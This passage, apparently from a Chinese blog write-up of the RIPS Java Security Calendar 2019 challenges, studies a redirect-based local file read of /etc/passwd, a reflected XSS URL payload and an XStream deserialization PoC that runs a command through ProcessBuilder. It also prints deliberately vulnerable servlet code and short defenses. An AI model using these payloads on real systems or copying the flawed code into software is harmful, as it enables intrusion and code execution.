这里存在一个漏洞可以读文件,虽然url参数必须以http开始,但是最总读读数据的是来自Location的,然而Location攻击者是可以控制的。
?url=http://www.google.com
Location:file:///etc/passwd#http://xxx.com

防御措施

保持一致性,redirect也要检查。不能检查一个参数,但是实际使用的是另一个参数。

Day 23 - Ivy

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import javax.servlet.http.*;
import java.io.*;
import java.text.*;
import java.util.*;
import org.apache.commons.lang3.StringEscapeUtils;

public class ShowCalendar extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
try {
response.setContentType("text/html");
GregorianCalendar calendar = new GregorianCalendar();
SimpleTimeZone x = new SimpleTimeZone(0, request.getParameter("id"));
SimpleDateFormat parser=new SimpleDateFormat("EEE MMM d HH:mm:ss zzz yyyy");
calendar.setTime(parser.parse(request.getParameter("current_time")));
calendar.setTimeZone(x);
Formatter formatter = new Formatter();
String name = StringEscapeUtils.escapeHtml4(request.getParameter("name"));
formatter.format("Name of your calendar: " + name + " and your current date is: %1$te.%1$tm.%1$tY", calendar);
PrintWriter pw = response.getWriter();
pw.print(formatter.toString());
} catch(ParseException e) {
response.sendRedirect("/");
}
}
}

很典型的反射xss.

1
http://victim.org/?id=<script>alert(1)</script>&current_time=Thu Jun 18 20:56:02 EDT 2009&name=%shello

Day 24 - Nutcracker

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.rips.demo.web;

import java.io.*;
import java.lang.reflect.*;

class Invoker implements Serializable {

private String c;
private String m;
private String[] a;

public Invoker(String c, String m, String[] a) {
this.c = c;
this.m = m;
this.a = a;
}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException {
ois.defaultReadObject();
Class clazz = Class.forName(this.c);
Object obj = clazz.getConstructor(String[].class).newInstance(new Object[]{this.a});
Method meth = clazz.getMethod(this.m);
meth.invoke(obj, null);
}
}

class User implements Serializable {
private String name;
private String email;
transient private String password;

public User(String name, String email, String password) {
this.name = name;
this.email = email;
this.password = password;
}

private void readObject(ObjectInputStream stream)
throws IOException, ClassNotFoundException {
stream.defaultReadObject();
password = (String) stream.readObject();
}

@Override
public String toString() {
return "User{" + "name='" + name + ", email='" + email + "'}";
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@RequestMapping(value = "/unserialize", consumes = "text/xml")
public void unserialize(@RequestBody String xml, HttpServletResponse res) throws IOException, ParserConfigurationException, SAXException, XPathExpressionException, TransformerException {
res.setContentType("text/plain");
// Parse xml string
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
DocumentBuilder builder = builderFactory.newDocumentBuilder();
Document xmlDocument = builder.parse(new InputSource(new StringReader(xml)));
XPath xPath = XPathFactory.newInstance().newXPath();
String expression = "//com.rips.demo.web.User[@serialization='custom'][1]";
//only allow User objects to be unserialized!!!
NodeList nodeList = (NodeList) xPath.compile(expression).evaluate(xmlDocument, XPathConstants.NODESET);
// Transform node back to xml string
Transformer transformer = TransformerFactory.newInstance().newTransformer();
transformer.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "yes");
StringWriter writer = new StringWriter();
transformer.transform(new DOMSource(nodeList.item(0)), new StreamResult(writer));
String xmloutput = writer.getBuffer().toString();
// Unserialze User
User user = (User) new XStream().fromXML(xmloutput);
res.getWriter().print("Successfully unserialized "+user.toString());
}

这里存在一个对象注入 然后反序列化造成命令执行。User对象是本来程序准备反序列化的,但是恶意的xml里还包含里Invoker对象,Invoker对象反序列化,造成代码执行。
poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<com.company.User serialization="custom">
<com.company.User>
<default>
<email>peter@gmail.com</email>
<name>Peter</name>
</default>
<com.company.Invoker serialization="custom">
<com.company.Invoker>
<default>
<a>
<string>touch</string>
<string>/tmp/xstream.txt</string>
</a>
<c>java.lang.ProcessBuilder</c>
<m>start</m>
</default>
</com.company.Invoker>
</com.company.Invoker>
</com.company.User>
</com.company.User>

防御措施

升级XStream.

reference

  1. https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
  2. https://www.ripstech.com/java-security-calendar-2019/
  3. https://www.zhaidehui.com/index.php/archives/327/
  4. https://www.anquanke.com/post/id/180932
  5. https://stackoverflow.com/questions/37203247/while-loading-jni-library-how-the-mapping-happens-with-the-actual-library-name
  6. https://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html